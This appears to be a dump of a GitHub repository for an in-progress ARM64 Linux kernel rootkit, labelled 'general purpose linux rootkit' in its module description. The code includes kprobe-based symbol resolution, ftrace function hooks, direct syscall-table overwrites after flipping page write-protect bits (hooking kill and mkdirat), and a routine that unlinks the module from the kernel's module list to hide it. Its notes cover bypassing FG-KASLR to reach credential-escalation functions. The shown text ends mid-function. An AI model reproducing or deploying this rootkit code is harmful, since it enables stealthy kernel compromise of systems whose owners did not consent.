#include "debug.h" 7 | 8 | // struct ftrace_hook { 9 | // const char *name; 10 | // void *new; 11 | // void *orig; 12 | // 13 | // unsigned long addr; 14 | // struct ftrace_ops ops; 15 | // }; 16 | // 17 | // typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 18 | // // in ftrace.h but not exported lol 19 | // kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 20 | // 21 | // int get_kallsyms_lookup_name(void) { 22 | // static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; 23 | // if (register_kprobe(&kp) < 0) { 24 | // return -ENOENT; 25 | // } 26 | // 27 | // kallsyms_lookup_name_ = (kallsyms_lookup_name_t) kp.addr; 28 | // pr_info("debug: kallsyms_lookup_name_ %p\n", kallsyms_lookup_name_); 29 | // unregister_kprobe(&kp); 30 | // return 0; 31 | // } 32 | 33 | unsigned long get_addr_of_symbol(const char *symbol_name) { 34 | static struct kprobe kp; 35 | kp.symbol_name = symbol_name; 36 | if (register_kprobe(&kp) < 0) { 37 | return -ENOENT; 38 | } 39 | 40 | unsigned long tmp = *kp.addr; 41 | pr_info("debug: get_addr_of_symbol before unreg %p\n", (void *) tmp); 42 | unregister_kprobe(&kp); 43 | pr_info("debug: get_addr_of_symbol after unreg %p\n", (void *) tmp); 44 | return tmp; 45 | } 46 | 47 | 48 | static int fh_get_func_addr(struct ftrace_hook *hook) { 49 | // if (!kallsyms_lookup_name_) { 50 | // get_kallsyms_lookup_name(); 51 | // } 52 | hook->addr = get_addr_of_symbol(hook->name); 53 | pr_info("debug: hook->name %s\n", hook->name); 54 | pr_info("debug: hook->addr %p\n", (void *) hook->addr); 55 | if (!hook->addr) { 56 | return -ENOENT; 57 | } 58 | 59 | *((unsigned long*) hook->orig) = hook->addr; 60 | return 0; 61 | } 62 | 63 | static void fh_callback(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 64 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 65 | if (!within_module(parent_ip, THIS_MODULE)) { 66 | regs->pc = (unsigned long) hook->new; 67 | pr_info("debug: reached end of fh_callback\n"); 68 | } 69 | } 70 | 71 | int fh_install_hook(struct ftrace_hook *hook) { 72 | if (!hook) { 73 | return -ENOENT; 74 | } 75 | 76 | int err; 77 | err = fh_get_func_addr(hook); 78 | if (err) { 79 | pr_info("debug: fh_get_func_addr failed\n"); 80 | return err; 81 | } 82 | 83 | hook->ops.func = fh_callback; 84 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 85 | | FTRACE_OPS_FL_RECURSION_SAFE 86 | | FTRACE_OPS_FL_IPMODIFY; 87 | 88 | pr_info("debug: hook state after set func + flag"); 89 | debug_fh_hook(hook); 90 | 91 | // https://www.kernel.org/doc/html/v5.4/trace/ftrace-uses.html 92 | // hook->addr doesnt match /proc/kallsym 93 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 94 | // err = ftrace_set_filter(&(hook->ops), hook->name, strlen(hook->name), 0); 95 | if (err) { 96 | pr_info("debug: ftrace_set_filter_ip failed\n"); 97 | return err; 98 | } 99 | 100 | 101 | err = register_ftrace_function(&hook->ops); 102 | if (err) { 103 | pr_info("debug: register_ftrace_function failed\n"); 104 | return err; 105 | } 106 | 107 | return 0; 108 | } 109 | 110 | void fh_remove_hook(struct ftrace_hook *hook) { 111 | unregister_ftrace_function(&hook->ops); 112 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 113 | } 114 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/hook_v4.h: -------------------------------------------------------------------------------- 1 | // implement using direct system call hooking#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct ftrace_hook { 8 | const char *name; 9 | void *new; 10 | void *orig; 11 | 12 | uintptr_t addr; 13 | struct ftrace_ops ops; 14 | }; 15 | 16 | // ---DEBUG--- 17 | void debug_fh_hook(struct ftrace_hook *hook) { 18 | if (!hook) { 19 | pr_info("debug: fh_hook NULL\n"); 20 | return; 21 | } 22 | pr_info("debug: fh_hook.name %s\n", hook->name); 23 | pr_info("debug: fh_hook.new %p\n", hook->new); 24 | pr_info("debug: fh_hook.orig %p\n", hook->orig); 25 | pr_info("debug: fh_hook.addr %p\n", hook->addr); 26 | 27 | pr_info("debug: fh_hook.ops.func %p\n", hook->ops.func); 28 | pr_info("debug: fh_hook.ops.flags %p\n", hook->ops.flags); 29 | pr_info("debug: fh_hook.ops.private %p\n", hook->ops.private); 30 | } 31 | // ---DEBUG--- 32 | 33 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 34 | // in ftrace.h but not exported lol 35 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 36 | 37 | int get_kallsyms_lookup_name(void) { 38 | static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; 39 | if (register_kprobe(&kp) < 0) { 40 | return -ENOENT; 41 | } 42 | 43 | kallsyms_lookup_name_ = (kallsyms_lookup_name_t) kp.addr; 44 | pr_info("debug: kallsyms_lookup_name_ %p\n", kallsyms_lookup_name_); 45 | unregister_kprobe(&kp); 46 | return 0; 47 | } 48 | 49 | static int fh_get_func_addr(struct ftrace_hook *hook) { 50 | if (!kallsyms_lookup_name_) { 51 | get_kallsyms_lookup_name(); 52 | } 53 | hook->addr = kallsyms_lookup_name_(hook->name); 54 | pr_info("debug: hook->name %s\n", hook->name); 55 | pr_info("debug: hook->addr %p\n", hook->addr); 56 | if (!hook->addr) { 57 | return -ENOENT; 58 | } 59 | 60 | *((uintptr_t*) hook->orig) = hook->addr; 61 | return 0; 62 | } 63 | 64 | // might not match function prototype in ftrace.h 65 | static void fh_callback(uintptr_t ip, uintptr_t parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 66 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 67 | if (!within_module(parent_ip, THIS_MODULE)) { 68 | regs->pc = (uintptr_t) hook->new; 69 | pr_info("debug: reached end of fh_callback\n"); 70 | } 71 | } 72 | 73 | int fh_install_hook(struct ftrace_hook *hook) { 74 | if (!hook) { 75 | return -ENOENT; 76 | } 77 | 78 | int err; 79 | err = fh_get_func_addr(hook); 80 | if (err) { 81 | pr_info("debug: fh_get_func_addr failed\n"); 82 | return err; 83 | } 84 | 85 | hook->ops.func = fh_callback; 86 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 87 | | FTRACE_OPS_FL_RECURSION_SAFE 88 | | FTRACE_OPS_FL_IPMODIFY; 89 | 90 | pr_info("debug: hook state after set func + flag"); 91 | debug_fh_hook(hook); 92 | 93 | // https://www.kernel.org/doc/html/v5.4/trace/ftrace-uses.html 94 | // hook->addr doesnt match /proc/kallsym 95 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 96 | // err = ftrace_set_filter(&(hook->ops), hook->name, strlen(hook->name), 0); 97 | if (err) { 98 | pr_info("debug: ftrace_set_filter_ip failed\n"); 99 | return err; 100 | } 101 | 102 | 103 | err = register_ftrace_function(&hook->ops); 104 | if (err) { 105 | pr_info("debug: register_ftrace_function failed\n"); 106 | return err; 107 | } 108 | 109 | return 0; 110 | } 111 | 112 | void fh_remove_hook(struct ftrace_hook *hook) { 113 | unregister_ftrace_function(&hook->ops); 114 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 115 | } 116 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/todo.txt: -------------------------------------------------------------------------------- 1 | implement function hooking in arm 2 | 3 | write your own kallsyms_lookup_name 4 | 5 | trust zone 6 | check if memory has been read by outside of THIS_MODULE 7 | 8 | if this shit does not work, fprobe syscall table and then use __NR_KILL 9 | 10 | 11 | not RE related but does anyone have the symbol names for ARM linux syscalls 12 | i know that x86 has the __x64_ prefix and im sure ARM has a prefix as well 13 | but i cant seem to find it documented anywhere 14 | im probably not looking hard enough 15 | i have found https://github.com/torvalds/linux/blob/master/arch/arm64/include/asm/unistd32.h 16 | but trying to call kallsyms_lookup_name with "__NR_kill" returns null 17 | 18 | 19 | need to add KASLR offset, thank god fg isnt enabled 20 | https://tjtech.me/how-to-get-kaslr-offset-on-arm64.html 21 | 22 | https://marcograss.github.io/security/linux/2016/01/24/exploiting-infoleak-linux-kaslr-bypass.html 23 | 24 | need to get kernel entry point: 25 | https://lwn.net/Articles/672518/ 26 | 27 | 28 | https://lwn.net/Articles/673598/ 29 | 30 | 31 | https://code.woboq.org/linux/linux/kernel/kallsyms.c.html 32 | 33 | CONFIG_KALLSYMS_ABSOLUTE_PERCPU 34 | 35 | 36 | The fine-grainness of FG-KASLR is imperfect, there are certain regions in the kernel that never get randomized. Here are the unaffected regions that are useful to us: 37 | 38 | The functions from _text base to __x86_retpoline_r15, which is _text+0x400dc6 are unaffected. Unfortunately, commit_creds() and prepare_kernel_cred() don’t reside in this region, but we can still look for useful registers and memory manipulation gadgets from here. 39 | KPTI trampoline swapgs_restore_regs_and_return_to_usermode() is unaffected. 40 | The kernel symbol table ksymtab, starts at _text+0xf85198 is unaffected. In here contains the offsets that can be used to calculate the addresses of commit_creds() and prepare_kernel_cred(). 41 | 42 | 43 | youre a fuckin g moron parse page table to find kernel base 44 | 45 | 46 | https://www.kernel.org/doc/html/latest/arm/memory.html 47 | 48 | 0xffff800010000000 49 | ffffd59880c10000 50 | 51 | root@coolbox4:/mnt/dav/fg-kaslr_test# cat /proc/vmallocinfo | grep ffffd59880c10000 52 | 0xffffd59880c10000-0xffffd598819d0000 14417920 paging_init+0x100/0x558 phys=0x00000000bb610000 vmap 53 | https://blog.spacepatroldelta.com/a?ID=00950-f76c0ee6-fdbd-4223-aef5-144f395e8e23 IMPORTANT 54 | 55 | vma struct vm_area_struct 56 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/writeup.txt: -------------------------------------------------------------------------------- 1 | bypassing fg-kaslr: 2 | 3 | - __start___ksymtab location never changes: _text+0xf85198 4 | 5 | kallsyms_lookup_name() returns offset of symbol from relative base (_text) 6 | - absolute addr: _text + offset 7 | 8 | 1. use kprobe to get addr of kallsyms_lookup_name() 9 | 2. kallsyms_lookup_name("__start___ksymtab") should be 0xf85198 10 | 11 | find _text 12 | -------------------------------------------------------------------------------- /ftrace_test/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += ftrace_test.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /ftrace_test/ftrace_test.c: -------------------------------------------------------------------------------- 1 | // implement using direct system call hooking#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_DESCRIPTION("general purpose linux rootkit"); 12 | MODULE_VERSION("1.0"); 13 | 14 | struct ftrace_hook { 15 | const char *name; 16 | void *new; 17 | void *orig; 18 | 19 | uintptr_t addr; 20 | struct ftrace_ops ops; 21 | }; 22 | 23 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 24 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 25 | 26 | uintptr_t kprobe_get_func_addr(const char *func_name) { 27 | static struct kprobe kp; 28 | kp.symbol_name = func_name; 29 | if (register_kprobe(&kp) < 0) { 30 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 31 | return -ENOENT; 32 | } 33 | 34 | uintptr_t tmp = kp.addr; 35 | unregister_kprobe(&kp); 36 | return tmp; 37 | } 38 | 39 | static int fh_get_func_addr(struct ftrace_hook *hook) { 40 | if (!kallsyms_lookup_name_) { 41 | kallsyms_lookup_name_ = kprobe_get_func_addr("kallsyms_lookup_name"); 42 | } 43 | 44 | hook->addr = kallsyms_lookup_name_(hook->name); 45 | if (!hook->addr) { 46 | pr_info("debug: kprobe_get_func_addr of hook (%pR) failed\n", hook); 47 | return -ENOENT; 48 | } 49 | 50 | *((uintptr_t *) hook->orig) = hook->addr; 51 | return 0; 52 | } 53 | 54 | static notrace void fh_callback(unsigned long pc, unsigned long parent_pc, struct ftrace_ops *ops, struct pt_regs *regs) { 55 | // struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 56 | // if (!within_module(parent_pc, THIS_MODULE)) { 57 | // regs->pc = (unsigned long) hook->new; 58 | // } 59 | pr_info("debug: fh_callback called, FTRACE_OPS_FL_SAVE_REGS not enabled :(\n"); 60 | } 61 | 62 | int fh_install_hook(struct ftrace_hook *hook) { 63 | if (!hook) { 64 | return -ENOENT; 65 | } 66 | 67 | int err; 68 | err = fh_get_func_addr(hook); 69 | if (err) { 70 | return err; 71 | } 72 | 73 | hook->ops.func = fh_callback; 74 | // hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 75 | // | FTRACE_OPS_FL_RECURSION_SAFE 76 | // | FTRACE_OPS_FL_IPMODIFY; 77 | 78 | // err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 79 | // if (err) { 80 | // pr_info("debug: ftrace_set_filter_ip failed with err (%i), &hook->ops (%pR), hook->addr @%pK\n", err, &hook->ops, hook->addr); 81 | // return err; 82 | // } 83 | 84 | ftrace_set_filter(&hook->ops, hook->name, strlen(hook->name), 0); 85 | if (err) { 86 | pr_info("debug: ftrace_set_filter failed with err (%i), &hook->ops (%pR), hook->name @%s\n", err, &hook->ops, hook->name); 87 | return err; 88 | } 89 | 90 | err = register_ftrace_function(&hook->ops); 91 | if (err) { 92 | pr_info("debug: register_ftrace_function failed with err (%i), &hook->ops (%pR)\n\n", err, &hook->ops); 93 | return err; 94 | } 95 | 96 | return 0; 97 | } 98 | 99 | void fh_remove_hook(struct ftrace_hook *hook) { 100 | unregister_ftrace_function(&hook->ops); 101 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 102 | } 103 | 104 | static asmlinkage int (*orig_kill) (const struct pt_regs *); 105 | 106 | asmlinkage notrace int hook_kill(const struct pt_regs *regs) { 107 | pr_info("debug: hooked kill :D\n"); 108 | return 0; 109 | // return orig_kill(regs); 110 | } 111 | 112 | static struct ftrace_hook hook = {"__arm64_sys_kill", hook_kill, &orig_kill, 0, {NULL, NULL, NULL}};; 113 | 114 | static int __init hook_test_mod_init(void) { 115 | int err; 116 | err = fh_install_hook(&hook); 117 | if (err) { 118 | pr_info("debug: fh_install_hook failed\n"); 119 | return err; 120 | } 121 | pr_info("debug: module loaded\n"); 122 | return 0; 123 | } 124 | 125 | static void __exit hook_test_mod_exit(void) { 126 | fh_remove_hook(&hook); 127 | pr_info("debug: module unloaded\n"); 128 | } 129 | 130 | 131 | module_init(hook_test_mod_init); 132 | module_exit(hook_test_mod_exit); 133 | -------------------------------------------------------------------------------- /hide/hide.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/hide/hide.c -------------------------------------------------------------------------------- /hide/hide.h: -------------------------------------------------------------------------------- 1 | void del_from_list() { 2 | list_del(&THIS_MODULE->list); 3 | } 4 | 5 | // mark all functions as notrace 6 | void 7 | -------------------------------------------------------------------------------- /hide/notes.txt: -------------------------------------------------------------------------------- 1 | phe based on inputs and singals sent 2 | -------------------------------------------------------------------------------- /init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt update 4 | # vm to host comm 5 | sudo apt install spice-vdagent spice-webdavd davfs2 tasksel ubuntu-desktop 6 | # kernel module shit 7 | sudo apt install flex bison git build-essential linux-source linux-headers-$(uname -r) 8 | 9 | 10 | cat << EOF | sudo tee -a /etc/fstabssu 11 | 12 | http://localhost:9843 /mnt/dav davfs _netdev,user,exec 0 0 13 | EOF 14 | 15 | 16 | cat << EOF | sudo tee -a /etc/davfs2/secrets 17 | 18 | /mnt/dav junk password 19 | EOF 20 | 21 | 22 | 23 | 24 | cat << EOF | sudo tee -a ~/.bashrc 25 | 26 | alias compile_rk="cd /mnt/dav/rootkit; sudo -s; make all" 27 | EOF 28 | -------------------------------------------------------------------------------- /kernel_dump/_vmlinuz-5.4.0-109-generic.extracted/vmlinuz-5.4.0-109-generic.efi.signed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/kernel_dump/_vmlinuz-5.4.0-109-generic.extracted/vmlinuz-5.4.0-109-generic.efi.signed -------------------------------------------------------------------------------- /kernel_dump/_vmlinuz-5.4.0-109-generic.extracted/vmlinuz-5.4.0-109-generic.efi.signed.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/kernel_dump/_vmlinuz-5.4.0-109-generic.extracted/vmlinuz-5.4.0-109-generic.efi.signed.gz -------------------------------------------------------------------------------- /kernel_dump/extract-vmlinux: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | # readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /kernel_dump/extract-vmlinux.1: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /kernel_dump/notes.txt: -------------------------------------------------------------------------------- 1 | http://lists.infradead.org/pipermail/linux-arm-kernel/2016-January/402180.html 2 | remove readelf check on arm 3 | 4 | objdump -D -b binary -marm vmlinux 5 | 6 | 7 | ffff8000100a0d10 t el0_svc_common.constprop.0 8 | 9 | // typedef void (*el0_svc_common_t)(struct pt_regs *regs, int scno, int sc_nr, const syscall_fn_t syscall_table[]); 10 | 11 | 12 | // void memcpy_(void *dest, const void *src, size_t count) { 13 | // unsigned char *dest_ = dest; 14 | // unsigned char *src_ = src; 15 | // size_t i = 0; 16 | // for (i; i < count; i++) { 17 | // // // in case dest spans across several pages 18 | // // pte_t *ptep = page_from_virt(dest_ + i); 19 | // // if (!pte_write(*ptep)) { 20 | // // pte_flip_write_protect(ptep); 21 | // // } 22 | // *(dest_ + i) = *(src_ + i); 23 | // } 24 | // } 25 | -------------------------------------------------------------------------------- /kernel_dump/vmlinux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/kernel_dump/vmlinux -------------------------------------------------------------------------------- /kernel_dump/vmlinuz-5.4.0-109-generic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/kernel_dump/vmlinuz-5.4.0-109-generic -------------------------------------------------------------------------------- /phe/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += phe.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /phe/direct_syscall_hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_DIRECT_HOOK_H_ 2 | #define _RESOLV_DIRECT_HOOK_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | 8 | struct direct_syscall_hook { 9 | int number; 10 | void *new; 11 | void *orig; 12 | }; 13 | 14 | void **sys_call_table_addr = NULL; 15 | 16 | static int resolve_syscall_table(void) { 17 | sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 18 | return 0; 19 | } 20 | 21 | void hook_syscall(struct direct_syscall_hook *hook) { 22 | if (!sys_call_table_addr) { 23 | resolve_syscall_table(); 24 | } 25 | *((uintptr_t *) hook->orig) = sys_call_table_addr[hook->number]; 26 | 27 | pte_t *ptep = page_from_virt(&sys_call_table_addr[hook->number]); 28 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 29 | 30 | pr_info("debug: flipping write protect flag...\n"); 31 | pte_flip_write_protect(page_from_virt(&sys_call_table_addr[hook->number])); 32 | 33 | ptep = page_from_virt(&sys_call_table_addr[hook->number]); 34 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 35 | 36 | sys_call_table_addr[hook->number] = hook->new; 37 | pr_info("debug: hook_syscall of #%i, orig @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 38 | } 39 | 40 | void unhook_syscall(struct direct_syscall_hook *hook) { 41 | if (!sys_call_table_addr) { 42 | resolve_syscall_table(); 43 | } 44 | sys_call_table_addr[hook->number] = hook->orig; 45 | pr_info("debug: unhook_syscall of #%i, orig restored @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 46 | } 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /phe/encrypt.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/phe/encrypt.py -------------------------------------------------------------------------------- /phe/encrypt_me.h: -------------------------------------------------------------------------------- 1 | void encrypt_me(void); 2 | 3 | void encrypt_me(void) { 4 | pr_info("debug: helloworld : D i am encrypted\n"); 5 | } 6 | -------------------------------------------------------------------------------- /phe/mkdir_hook/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += phe.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /phe/mkdir_hook/direct_syscall_hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_DIRECT_HOOK_H_ 2 | #define _RESOLV_DIRECT_HOOK_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | 8 | struct direct_syscall_hook { 9 | int number; 10 | void *new; 11 | void *orig; 12 | }; 13 | 14 | void **sys_call_table_addr = NULL; 15 | 16 | static int resolve_syscall_table(void) { 17 | sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 18 | return 0; 19 | } 20 | 21 | void hook_syscall(struct direct_syscall_hook *hook) { 22 | if (!sys_call_table_addr) { 23 | resolve_syscall_table(); 24 | } 25 | *((uintptr_t *) hook->orig) = sys_call_table_addr[hook->number]; 26 | 27 | pte_t *ptep = page_from_virt(&sys_call_table_addr[hook->number]); 28 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 29 | 30 | pr_info("debug: flipping write protect flag...\n"); 31 | pte_flip_write_protect(page_from_virt(&sys_call_table_addr[hook->number])); 32 | 33 | ptep = page_from_virt(&sys_call_table_addr[hook->number]); 34 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 35 | 36 | sys_call_table_addr[hook->number] = hook->new; 37 | pr_info("debug: hook_syscall of #%i, orig @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 38 | } 39 | 40 | void unhook_syscall(struct direct_syscall_hook *hook) { 41 | if (!sys_call_table_addr) { 42 | resolve_syscall_table(); 43 | } 44 | sys_call_table_addr[hook->number] = hook->orig; 45 | pr_info("debug: unhook_syscall of #%i, orig restored @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 46 | } 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /phe/mkdir_hook/mkdir_ioctl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/phe/mkdir_hook/mkdir_ioctl -------------------------------------------------------------------------------- /phe/mkdir_hook/phe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | #include "direct_syscall_hook.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 12 | MODULE_VERSION("1.0"); 13 | 14 | static asmlinkage int (*orig_mkdirat) (const struct pt_regs *); 15 | 16 | asmlinkage int new_mkdirat(const struct pt_regs *regs) { 17 | char __user *pathname_usr_ptr = (char *) regs->regs[1]; 18 | char pathname[NAME_MAX] = {0}; 19 | strncpy_from_user(pathname, pathname_usr_ptr, NAME_MAX); // 256 bits 20 | pr_info("debug: mkdirat called :D, path (%s), fd (%i), mode (%lli)\n", pathname, (int) regs->regs[0], regs->regs[2]); 21 | if ((int) regs->regs[0] == -1) { 22 | return 0xdeadbeef; 23 | } 24 | return orig_mkdirat(regs); 25 | } 26 | 27 | struct direct_syscall_hook hook = {__NR_mkdirat, new_mkdirat, &orig_mkdirat}; 28 | 29 | static int __init hook_test_mod_init(void) { 30 | pr_info("debug: module loaded\n"); 31 | hook_syscall(&hook); 32 | return 0; 33 | } 34 | 35 | static void __exit hook_test_mod_exit(void) { 36 | pr_info("debug: module unloaded\n"); 37 | } 38 | 39 | 40 | module_init(hook_test_mod_init); 41 | module_exit(hook_test_mod_exit); 42 | -------------------------------------------------------------------------------- /phe/mkdir_hook/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char 